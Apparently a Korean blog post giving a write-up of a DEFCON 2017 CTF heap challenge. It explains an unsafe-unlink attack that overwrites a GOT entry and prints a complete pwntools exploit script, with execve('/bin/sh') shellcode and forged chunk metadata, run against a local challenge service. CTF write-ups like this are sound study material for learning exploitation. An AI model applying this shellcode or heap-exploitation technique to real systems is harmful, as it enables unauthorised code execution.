먼저 메인에 들어가려면 로그인 패스워드를 입력해야되는데 ida data영역에 보면 아이디와 비밀번호가 나와있다.
menu는 무난한 CTF처럼 추가하고 출력하고 지우고 업데이트하는 형식으로 되어 있다.
add_request함수를 살펴보니
malloc동적할당을 56만큼하고 값은 128만큼 넣는 것을 확인할 수 있었다. reqlist가 data영역에 있었기 때문에 unsafe_unlink를 시도하는데 릭이 필요하지 않았다.
unsafe_unlink와 update_request를 이용해서 쉘코드를 넣고 got의 주소를 바꿔서 익스플로잇을 구성했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | # !/usr/bin/env python # powerprove from pwn import * s = remote("localhost", 4000) raw_input("[*] DEFCON_2017") def login(): s.recvuntil("username") s.sendline("mcfly") s.recvuntil("Pass") s.sendline("awesnap") def request(payload): s.sendline("1") s.recvuntil("text") s.sendline(payload) def delete(index): s.sendline("3") s.recvuntil("choice") s.sendline(str(index)) def change(index, payload): s.sendline("4") s.recvuntil("choice") s.sendline(str(index)) s.recvuntil("data") s.send(payload) if __name__ == "__main__": login() for i in range(0, 5): request("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") payload = "AAAAAAAA"*2 payload += p64(0x609e80) payload += p64(0x609e88) payload += "AAAAAAAA"*2 payload += p64(0x30) payload += p64(0x42) change(1, payload) delete(2) exploit = p64(0x609980) exploit += p64(0x609B00) change(3, exploit) change(1, "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") change(0, p64(0x609B00)) s.interactive() | cs |
'CTF > 2017' 카테고리의 다른 글
codegate_final 2017 real (0) | 2017.06.23 |
---|---|
허스트 CTF pwn write up (0) | 2017.05.31 |
DEFCON - smashme (0) | 2017.05.07 |
[codegate final] petshop (0) | 2017.04.28 |
codegate 2017 - messenger write up (0) | 2017.04.05 |